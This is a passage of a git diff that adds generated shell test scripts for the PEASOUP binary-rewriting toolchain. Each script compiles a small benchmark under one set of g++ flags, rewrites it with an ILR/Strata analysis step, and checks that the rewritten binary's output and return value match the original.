+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-Os.-fPIC.no_omit-fp.no_debug.-m64.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-Os.-fPIC.no_omit-fp.no_debug.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..5d063ba3ad0704c5db2e21c8580509d76fafad91
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-Os.-fPIC.no_omit-fp.no_debug.-m64.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -Os -fPIC     -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -Os -fPIC     -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-Os.no_pic.-fomit-frame-pointer.-g.-m32.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-Os.no_pic.-fomit-frame-pointer.-g.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..bd40d9d1bd420c3eede350494302032248db3838
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-Os.no_pic.-fomit-frame-pointer.-g.-m32.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -Os   -fomit-frame-pointer -g -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -Os   -fomit-frame-pointer -g -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-Os.no_pic.-fomit-frame-pointer.-g.-m64.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-Os.no_pic.-fomit-frame-pointer.-g.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..5d6892384a2c9d85ad2dafca7fcfdd7045d703a9
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-Os.no_pic.-fomit-frame-pointer.-g.-m64.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -Os   -fomit-frame-pointer -g -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -Os   -fomit-frame-pointer -g -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-Os.no_pic.-fomit-frame-pointer.no_debug.-m32.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-Os.no_pic.-fomit-frame-pointer.no_debug.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..3a027d42de8c87d5f730dc3fb04859b9bcb06b67
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-Os.no_pic.-fomit-frame-pointer.no_debug.-m32.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -Os   -fomit-frame-pointer   -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -Os   -fomit-frame-pointer   -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-Os.no_pic.-fomit-frame-pointer.no_debug.-m64.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-Os.no_pic.-fomit-frame-pointer.no_debug.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..b46af75fca105a218b3516185dff8f2eeb4d8158
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-Os.no_pic.-fomit-frame-pointer.no_debug.-m64.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -Os   -fomit-frame-pointer   -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -Os   -fomit-frame-pointer   -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-Os.no_pic.no_omit-fp.-g.-m32.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-Os.no_pic.no_omit-fp.-g.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..4e89ae51e494b3e1bd53f3b987a0f80a1989de6f
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-Os.no_pic.no_omit-fp.-g.-m32.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -Os     -g -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -Os     -g -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
